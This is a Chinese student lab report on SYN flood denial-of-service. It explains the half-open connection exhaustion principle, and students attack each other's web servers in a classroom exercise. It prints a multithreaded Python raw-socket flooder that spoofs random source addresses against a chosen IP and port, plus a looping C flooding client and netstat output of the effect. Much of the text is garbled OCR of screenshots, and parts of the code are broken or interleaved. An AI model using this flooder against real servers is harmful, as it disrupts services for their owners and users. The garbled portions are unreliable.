_2017科研实验报告x
PAGE
PAGE # / 14
实验五分析SYN FLOO(攻击原理
一、 实验内容
通过分小组实施 SYN FLood 攻击,掌握分布式拒绝服务攻击原理。
二、 实验目的和要求
实验目的
本实验的教学目的是熟悉 SYN flood 的攻击原理与过程,及 IPv4 所存在的固有缺陷。
实验要求
本实验的基本要求: 学生在实验课前分小组准备, 每组分角色确定实施攻击者和被攻击 者,熟悉 SYN flood 的攻击原理与过程,观察攻击现象。
三、 实验设备(软、硬件)
硬件:性能较强的 PC机
软件: Windows NT 操作系统
四,实验设计方案;
1 两个人一组,其中一人为攻击方,一人为被攻击方,被攻击方有一台 web 服务器,攻击
方攻击对方得web服务器,
2, 附 syn-flood 攻击得源码,注意攻击 ip 地址要做改动 五,实验原理
在SYN Flood攻击中,黑客机器向受害主机发送大量伪造源地址的 TCP SYNB文,受
害主机分配必要的资源,然后向源地址返回 SYW ACK包,并等待源端返回 ACK包。由于源
地址是伪造的,所以源端永远都不会返回 ACK报文,受害主机继续发送 SYW ACK包,并将
半连接放入端口的积压队列中, 虽然一般的主机都有超时机制和默认的重传次数, 但是由于 端口的半连接队列的长度是有限的,如果不断的向受害主机发送大量的 TCPSYN报文,半连
接队列就会很快填满, 服务器拒绝新的连接, 将导致该端口无法响应其他机器进行的连接请 求,最终使受害主机的资源耗尽。
六,实验方法及步骤
1,被攻击方配置web服务器
2, 攻击方设置要攻击服务器的 ip 地址,然后编译源程序。
运行synflood,攻击web服务器
4, 被攻击方打开命令行提示窗口, 运行 netstat 命令, 观察响应, netstat 命令显示 了所有当前连接,可以注意到 netstat 所返回的记录
5,试着打开对方 web服务器的网页,观察结果;
6,试着同时多台机器对同一 web服务器发起攻击,然后用一台机器登陆 web服务器,
观察结果
七,试验数据记录与处理
此项可以不填
八,试验结果及分析
一台用户机攻击服务器(ubantu下python)
r?ot$iyyj-Mlrtualffldic.hlnfc: /usr/lacaA/Ub/pytiHinl.TyyqflVT*- vtrt'Mil.-"|BEh-liMT: -S wdo sw[VUd?] f村 E^KQi*raot^j^a - virtual - rjchknA: /hifiA?/yiyJ7 cd /ut r rooti^if^a- virtual -wchkne i/ih
r?ot$iyyj-Mlrtualffldic.hlnfc: /usr/lacaA/Ub/pytiHinl.T
yyqflVT*- vtrt'Mil.-"|BEh-liMT: -S wdo sw
[VUd?] f村 E^KQi*
raot^j^a - virtual - rjchknA: /hifiA?/yiyJ7 cd /ut r rooti^if^a- virtual -wchkne i/ihr-F cd Local rDDt^ryB - vt^tusl - NChlne: /^5-r/lacj I* cd LtJb rnntforya-vlrtwol i^achinE ;/u s-r/lac-al ^llbi cd pytho^Zi 7 rgTfirjfb mW (v*1~ 社哙凯皿:fu弓r /14C41 m pyTht* h|>Z,肝
m^ch ]P:17J.?.±23.B3
attick FORTIN
warier (tyn of ?ck of* tvnlack)s,yn ttWfBthreflds-^ Z55Q4|
丙存
5.1Z7.&G&C6S%]
CPU 2% 147 GHz
蓝牙
rn-ra
WLAN £i£: 0 itiCl- 0 ?bp
WAR
[ntel(R) CorefTM) i7-4720HQ CPU @ 2.:
ITO*
Z59GHE
iilB¥
2%
111-6
dttjr
1.87 GHz
砥蹄:
PI殴:
1570 4&028
EWalTftlH
1;01:02;07
4
聞n: 3 聽Al忧: LI iti年: 12时: L3埋耳:
Z^6 KB
1JDMB
既d MB
virtual mac Mm-:/?tsrAoul/llb/P¥ttie#i£.7
-vlrtuiX chin<^ -S ivdg[tudd]邢 的VA::- ylrtuAl - Rachin* ■ /hoftt/yy^a cd /usr rccitp^v-i-vlrtu-hH - nachtiwj /us r* cd Loc-al virtu*!.- nachine
-vlrtuiX chin<^ -S ivdg
[tudd]邢 的VA::
- ylrtuAl - Rachin* ■ /hoftt/yy^a cd /usr rccitp^v-i-vlrtu-hH - nachtiwj /us r* cd Loc-al virtu*!.- nachine; /usr/ L# c-d lib r^tVyy-f-vlrtwl-viachiwi/uBr/l^EBlA^bV cd p^thcml. 7 fvl.riu*! -ft^eh :削射 ^UeelA \ 和晦池 s ?■刖"曲 iwbz s 州
atcack HPJ172.M.222.A1;
itcack IPOfiT:fl4 rK>de:{5rn or jck nr tliSECthr^nds: 2550Q
swi翻a空■加 磁 I9H MIBsElcSt
Intel(R) CorefTM) i7-4720HQ CPU ? 2
2.59 GHz
1.87 GHz
24%
119
1595 46749
正箱话斤时词
1:01:0329
naff
I3时
es再 珈即 1.DM& "MR
开启三个终端
L1L-HKhLM :ypAf^li'ia-wlrtiflaL ■mch^BF: -f iLrfa vu tiuia]的症科: r*t>t|^?-rliri:iMl rkHm i <cf /Mirraatf |fY*"VLrtiul-FUchLM : /upnl cd L-dchL r-saef$r|iii- rLr tual-mKhLnv: /uar /l?£i?L|i cd Lit- vtrtiMlMtklM i c4 pyih^a:, tr?tfvY*-^(->"l:iul -Hvht?:
L1
L-HKhLM :
ypAf^li'ia-wlrtiflaL ■mch^BF: -f iLrfa vu tiuia]的症科: r*t>t|^?-rliri:iMl rkHm i <cf /Mir
raatf |fY*"VLrtiul-FUchLM : /upnl cd L-dchL r-saef$r|iii- rLr tual-mKhLnv: /uar /l?£i?L|i cd Lit- vtrtiMlMtklM i c4 pyih^a:, t
r?tfvY*-^(->"l:iul -Hvht?: ^ypr^lwiil^Llli/f^thsn]-. Td python hL? .p^ ?ElK.k ]F:BTJ.ZZ.Za2.l>
rwihi: ar ode or ivrd?ck)?ifn
HfflHtk-Nda: Z>!bW
40% 1.67 GHz
12? 1B40 48H41
JH
*flq£l
?V甲趣却期伍也 Bi!片
meofi ”
yi*kf|r?-¥lrtvaL -HaEhiav: -f audo iu jsuM] o*的卷旧: rwqfifjiii-rtrtml-RKhtM: c4 /iSF
r-saEf if'V111- v^r tua L-HichLm : ^uar* cd Loc?L FM輝济lull 髀fu肝八岂机|| Cd IW rtrtWl-wtCktM; Ct 力|小鉀比了
r-aafcf si'Yft-vLrtual-HKf hLm: ^uar^LcciiL/>L1h/'|^YttKn3 . Tf python hb2 .py ^ClKk ]F:lTI.ZZ.2aJ.9¥
?tt-Kk wr:44i
“E sir ?ck 口r ?YHl?ck胆pi
ThfNdl! Z3-^M
54CK_n?<-L ■壮
SACK^KHi^L ?92
Lir>4
5A£k_HRM-L ■S^-13
L*fM>
LAM> M5&-14-4B
mk] 540-im MB-zui* ui^narj utu 5*<|"-1J17 収L-J?a
MEK] 5^q?D a^r-MMD
5*q*l Ae>-1M Wir^L'bBMi L.
mTWIEFS M. 541215 FJi. i
r4.5-MlJ4
M.S-MIM
B5-.
BS-.
■3-.&rM412
fll. T1J4M
丹t-2弧血询 21t. i M-. M. 1>M jiv.jM.za.i'n ZML l M. 20. IE 21-t-2J4--2D.l<q lJ4-L4.Zl.ig liM-L4.£1.19 1N-L+.Z1_IQ 1T4. L4. 71.ig in.14. n.n 1T4.14. Zli-K^
lCTLaLW.*M?l
IIRU.U-.IW*
HTTW.i'jW
Tier
V2.H.1U.4J!
TCP
i7J.I2.2M.4A
TCF
44
iJLH.ilH.41
■rcr
世
httfE
irr. irz.272.4-j
TCF
M
lIr.7J.2U.4l
TCP
?O
lfl.72.JJJ.-l-J
TCP
M
ita.rj.jTj.-i-i
TCF
Cd
ljl.T2.2TJ.-l-J
TCP
MS
iji. T2.2Z2.-I-J
HTT?
1-M
IT J. R.27J!.-I-J
TCP
Cfl
IT J. n-ZU-Al
TCF
竝巧e>
AS4> w-tifb?
*CK] II—4
<K] 4Ck~l N1W-I6M LS4 M5S-EU4
屮-1 wleulst吃 L?f>0
Knrriii w-nrsf 皿母刑#
W-3-UhB
[TCF y jtE irf ■ r*iinM^-1?d POj] l?TT>-,rl.l HO -IH. (“lA舟*1 詔e> ■O-UTS9 [5¥*, M:K] BhT *<-^1 ■^in^l-4eai ■O-H.TSQ IMmI ±vq-l UB4 Hln^L^WD Lwi-M3
Ml K-WTIQ IN. I ±?q-l Aclc-L Mn^]? Lvn-4
t-d 叫VLHO |5¥*(, J£rJ EmHI frck-1 rlnp-57Wi lah-0 pHU雷 M£K_Pf?4-] ri-IDM e-a K-VLNO lATaj -frM-1 ufc-ISL vin-aJHM L?n-4
然而,python代码并不能很好的攻击,因为 python语言比c和java等离机器语言更远, 大概运行速度是 c的1/30倍,后来经试验发现运行任何 Python所占用cpu在23左右。
于是接下来采用 c语言,python代码如下:
#!/usr/b in/pytho n
#-*-codi ng:utf-8-*-
import socket
import struct
import ran dom
import threadi ng
class myThread (threading.Thread): #
def __init__(self,dstip,dstport,mode): threading.Thread.__init__(self) self.dstip = dstip self.dstport =dstport self.mode =mode
def run(self):
attack(self.dstip,self.dstport,self.mode)
创建一个进程的方法
def checksum(data): #
s = 0
n = len(data) % 2
for i in range(0, len(data)-n, 2):
s+= ord(data[i]) + (ord(data[i+1]) << 8) if n:
s+= ord(data[i+1])
while (s >> 16):
s = (s & 0xFFFF) + (s >> 16)
s = ~s & 0xffff
return s
检验和计算
def IP(source,destination,udplen): #
version = 4
ihl = 5
tos = 0
tl = 20+udplen
ip_id = random.randint(1,65535)
flags = 0
创建一个 ip 数据包头
offset = 0
ttl = 128
protocol =6
check =0
source = socket.inet_aton(source) destination = socket.inet_aton(destination)
ver_ihl = (version << 4)+ihl flags_offset = (flags << 13)+offset ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, check, source, destination) check=checksum(ip_header) ip_header = struct.pack("!BBHHHBBH4s4s", ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol,
socket.htons(check),
source, destination) return ip_header
def TCP(srcip,dstip,protocol,dp,fg): # 创建一个 tcp 数据报头
source = socket.inet_aton(srcip) destination = socket.inet_aton(dstip) srcport=random.randint(1,65535) dstport=dp
syn_num=random.randint(1,4000000000)
if fg == 2:
ack_num=0
else:
ack_num=random.randint(1,4000000000)
hlen=5
zero=0
flag=fg
window=8192
check=0
point=0
tcplen=hlen
h_f=(hlen << 12)+flag
TCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcpo rt,dstport,syn_num,ack_num,h_f,window,check,point)
check=checksum(TCP_head)
TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,che ck,point)
选择 syn&ack 时的混合模式return TCP_head def makepacket(dstip,dstport,fg):
选择 syn&ack 时的混合模式
m.randint(1,255))+'.'+str(random.randint(1,255))
protocol=6
ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg) return ippacket def attack(dstip,dstport,mode): # 进攻
if mode == 'syn':
fg=2
while 1:
data=makepacket(dstip,dstport,fg) s.sendto(data,(dstip,dstport))
elif mode == 'ack':
fg=18
while 1:
data=makepacket(dstip,dstport,fg)
s.sendto(data,(dstip,dstport))
elif mode == 'syn&ack':
while 1:
data=makepacket(dstip,dstport,2)
s.sendto(data,(dstip,dstport))
data=makepacket(dstip,dstport,18)
s.sendto(data,(dstip,dstport))
else:
print 'DON\'T bb!'
提示用户输入提示用户输入提示用户输入
提示用户输入
提示用户输入
提示用户输入
提示用户输入
8位
dstport=int(input('attack PORT:')) #
mode=raw_input('mode:(syn or ack or syn&ack)') # threads=int(input(" 线程数 threads : ")) #
ip_first=[] # 遍历源地址的前 for i in range(1,10):
ip_first.append(i)
for i in range(11,172):
ip_first.append(i)
for i in range(173,192):
ip_first.append(i)
for i in range(193,224):
ip_first.append(i)
机器网s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6) # socket.AF_INET --> 络之间的通信
机器网
s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1) threads_name=[]
for i in range(threads): # 为每个进程分配名字
threads_name.append('theread'+str(i))
for i in range(threads): # 创建每个进程
threads_name[i]=myThread(dstip,dstport,mode)
for i in range(threads): # 开始每个进程
threads_name[i].start()
用c语言实现:(ubantu下c)
80端口未开时,进攻失败
■■iyi
14?
(R. WIS^SUI -L I:再甲11
D^wvuu” rwirj Ml
BDEapHirEK.
JUun OflBuc DnkUsp
USENET SEMtSerrice
-.COMSyrfW
K*duVunUliH^
ATlKifMMS^ *the<TM5¥C
MU 仙 iBeuDab—
■Kpnec.sune ^A&m^flvwp 二;^=
,ALG
__ AdfUsvrLnH^flyvr-. 二 MCwp
r JMSPTT^ifiKw
^MtwW _Cbud£pl>kHl 耳 veffl 谢 Xc
=” 叱T呻
ILEM
17Bt
2W
kifcvI^R] Ccfilvnl Pr^tK lion HILI Wrac-i* £-DMt SyiAMI Appkdnion
■Cgmp K>册n曲娜『0亦对 BartiFtpait &?nkt
BDH*5?W:e faduYUrrilbii^ ATK<iFMX&MYriC#
St上 "止 Sff± e?± 巨甲上 e>± im^j 正在丘眄 e<± "上
lAbSfl! iiNS*; URfMHA ! hftF-' LMfk. ph|B
ire- - thfci, png" wtell:h-"M"血切抽山? *llgn-rrt^L4
'2*「?寿5刘尹*冲鼻1>; Y* hr?f . ~1h4m ire1"曙"和―』
g-p^l Lak. p*^~ wLdEhn" U" fee 璋 ht-J犷 ■L*Lpn■■-■IheL 虽ILiT bardtor
* ib"
r/SjI"
*tr>
xtfl 吟口F-crant tal^r. ~HaB4H>" tlw?_ha!*dEl-*■!.
Prfcebi>; Inbhp i-rlng lirta^iipfain ¥/&6flli£.6R .fiLf" wLdEha "2*" haL^hEa'ZB" ■IWmP i.4d^ta >ii4m-; -b--EA5-T wdjf t? bwUd H-bftr¥t<. 口■【屮就 ur-atr sLch WMfn;] ta 屮MtTjtdir
屮"
c^tribL-n-
■ I'briy"-
)fTa4>vy>,',vtrtu>|,L-K*cklaii:.舟Uitnl; c-mimc t rrr>sr I TT'Mny* -irlrtuaL -nadhlM : -f
4ppUz-iHor Laj^r Swrf
Aifcb? f lnJi ^Layflii UpcUA* ^nvior mo wtrtvmsw
和补至—4JSZBS
5冋应Kr阳対方旳 LbudZiptkMl 酗化帽Erem baker
Rqnwi 恤—呵
Hi?,
己母_t
e*上
a*± e#± Bm±
1
LrSifi 厅
玩曲1吁
SEtfiin
MWISV.. 口 g DcwHju.
*^4rvH^in*ar1k ”i;avK J*?
w/WLp
C PU lht?l£RSi CflrtfTMl I7-4720HQ CPU @ 2
*> iV
jiff
126
L87 GHs
iE^vajqW
0:00:35:17
■tAAB
m.
2 59 GHz
80端口打开时:
■碎 nw>
1807 45931 十.
LI*#
L3?:
254iS
1HMI
fiGMe
I; Inbcp; ikn坷p; tnJH*; ChMQ^ [■inqy労寸:1*4「?=1闵?工.p^TgphFr.L Lfe-FEHfi ire."^phvrM^-fUp- UdL .pnfr- bMllk.-3B- ftHLghU":L4" ?i.LBn.-^bmLftll-i p打■y?j,?i;裁a; hrd-r-'ledi-ji,MV npfru-rvLMo-th^uiAfi £rc>bMp£trv^ru
pllih.p^g" rtd%h.BjtT h#t|#ir-1,i6B *11阿'少严\40“? hrdfr.■(■&</?-
Atp
吋1ti?
Vr* rtr?
<Ed h*Lghli-l^~ bg?l?ri " vrr&2r|->?f aa'L c?Ldtn-iMMM- eL^ui 'hfl?dd- >-faibH >5prtrfc5#>!*<] sre-"MiAM:rv/so^tUm.flip n理di■■孙■ heljftT-'zfl' 乂1.■■必m rF>int¥p;?*>E4B-y 勺刊 t" Mid 理r.阿 14乂44 祖th ■阳Mr
lanex/Sd* 时"?
I:■■蓟 iO
Hni?-¥^rImtiL-nacA!?■:-> ./tLlvnC fccl: F和榻艸-vtrTHl^MLiilM ! ■ 1 ||
Inbip; lidiip; libvp; tnbi$;Y0 Chm^r Lmfuapi : l^ii Ihr"广iwfeH*
■ nfl-rr r-.1?^ in*■ ■oi^rv/-* I^hal piiif rft^Rh-'W hflflhT-"H' ■|tFM?l.t
H- bor J?r" *>5' ■■/■*Wr4ihp; ■■ hml!"i'Lnd<ra-|ApFapp3?r¥L?ng*'?p' L^ 34-c>--<fifMr¥/f Lk ■a-*rqLlilt.K4' wndch.-ht' IwL小t/up iUHna-jbwid<q?- inrdivr.-t'MjKi-
■ br皿、■?
?fEdv
cUS'P-'m'MIi Sr#r.ahr(p: .ir^HrbMqp=/f-i
th. ^pfSar^rtrLvark. rtfrf
<AL? 4/h1>
瞬间内存占用在50左右。
*ilfr
■eta HI.曲^f£-ia1arHpi^Fb?FfrHFafl<!弭Ar?dbM?M” “■"『2泌1_>114? |k*Vrt!5p; lMid#;*lhfl iri: -CM^W*v/Hfl:U?n& |ftr vt<lh> * ZB*- *Lli财
lddla*>JiRiiip; fb^Laiy hu tc buLId Httvarvar^ DiiiLaluii! Sarwr vLth JL?5ar¥ :: ■ J<?b h 屮
讣r?
</-tataLi->
?“強"
i/fecdf?-
?川也上
经检验,运行其他 c语言程序时内存占用率大概在 25%左右,得出dos攻击的内存占
用率大概在25%
假设python也正常攻击,大概占用率不到 1%所以python脚本攻击基本上不能 dos
用netstat 查看:
TCP
15:
37489
IdeaPad-PC
http
SVN_SENT
TCP
15:
37490
IdeaPad'PC
http
S¥N_SENT
TCP
15:
37491
IdeaPad-PC
htt?
SVN_SENT
TCP
15:
37492
IdeaPod'PC
http
SYH_SENT
TCP
15:
37493
IdeaPad—PC:
http
SVN_SENT
TCP
1S:
37?4
ItieaPatl'PC
http
SYN_SENT
TCP
15:
37495
IdeaPad-PC:
http
SVN.SENT
TCP
153
374?6
IdfrAF&d-FC
E?N_SENT
TCP
15
37497
IdeaPad-PC;
http
SVN.SENT
TCP
172-22-217-115
3749H
Idv4Pail-PC
http
EVN_EENT
TCP
15
37499
IdeaPad-PC
http
SVN.SENT
ICR
15
37500
Id&aPad-PC
http
EYN.EENT
TCF
172.22.21?.115
37501
IdeaPad-PC
http
£¥N_£ENT
TCP
172,22.217-115
3 7502
IdeaPad-PC
http
SVN.SENT
TCP
172 .22.217.115
37503
IdeaPad-PC
http
£VN_£ENT
TCP
172,22,217,115
37504
IdeaPad-PC
http
SYN.SENT
TCP
15
37505
IdeaPad-PC
http
£?N_£ENT
TCP
172,22.217,115
37506
IdeaPad-PC
http
SYN.SENT
TCP
15
3?507
IdeaPad-PC
http
SVN-KENT
TCP
172,22.217.115
37508
IdeaPad-PC
http
SVN_SENT
TCP
15
3?509
IdeaPad-PC
http
£VN_£ENT
TCP
172.22.217,115
37510
IdeaPad-PC
http
SYNJSENT
TCP
15
37511
IdeaPad-PC
http
S¥N_£ENT
TCP
15
%■/
37512
IdeaPad-PC
http
SVN_SENT
鬪 ■ CAWindowsXsystem 3 SXcmd, exe
c语言代码(改编自 win系统下的client.cpp 文件)
#in clude <sys/socket.h> //li nux
下的套接字协议头文件
#in clude <n et inet/in .h> //
网络连接头文件
#in clude <n etdb.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>//字符串头文件
#include <string.h>
//
字符串头文件
#include <stdio.h>
#include "errno.h"//错误类型头文件
#include "errno.h"
//
错误类型头文件
#pragma comment(lib,"ws2_32.lib")
#define INVALID_SOCKET 4294967295//
#define INVALID_SOCKET 4294967295
//
定义 linux 下对应 windows 的无
效值
#define SOCKET_ERROR -1 //socketerror 的错误值 #define MAKEWORD(a, b) ((unsigned short)(((unsigned char)(((unsigned int)(a)) & 0xff)) | ((unsigned short)((unsigned char)(((unsigned int)(b)) & 0xff))) << 8))
// 宏定义 makeword()
int main(int argc, char* argv[])
{
int sockVersion = MAKEWORD(2,2);
char data;
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 创建 s 套接字
if(s == INVALID_SOCKET) // 检查 s 是否无效
printf("invalid socket !");
return 0;
struct sockaddr_in serAddr;
sockaddr_in 结构体
serAddr.sin_family = AF_INET;
//
一般为定值
serAddr.sin_port = htons(80);
serAddr.sin_addr.s_addr
击) ip 地址
if (connect(s, (struct
SOCKET_ERROR) //connnect
{
printf("connect error !");
//close(s);
//
= inet_addr("3");
sockaddr *)&serAddr,
函数判断能否连接上目标
//linux 下 的
结构体里的 family 值, 端口号
// 连接(攻
sizeof(serAddr)) ==
return 0;
char * sendData = "
你好,TCP服务端,我是客户端!\n";
while(1){ // 循环执行语句, 模仿 dos 的无限次攻击
send(s, sendData, strlen(sendData), 0); // 攻击发包
char recData[255];
int ret = recv(s, recData, 255, 0);
if(ret > 0)
{
recData[ret] = 0x00;
printf("%s",recData);
}
}
return 0;
}
九,实验总结
和 window且 win8Python 具有更大的类库, 编程更简单,但是相对较慢; c 语言编程上在 linux 下有一些差别,编程难度较 python 稍难,但运行速度比 python
和 window
且 win8
十,参考资料
《信息安全技术体系》——王斌君
《 Linux 与 windows 的 socket 编程》——
《DDos攻击与防御分析》一一
461a3f2e487480a08bd5a626e32748a9
相关热词搜索: 实验报告 科研 实验 报告 2017科研实验报告x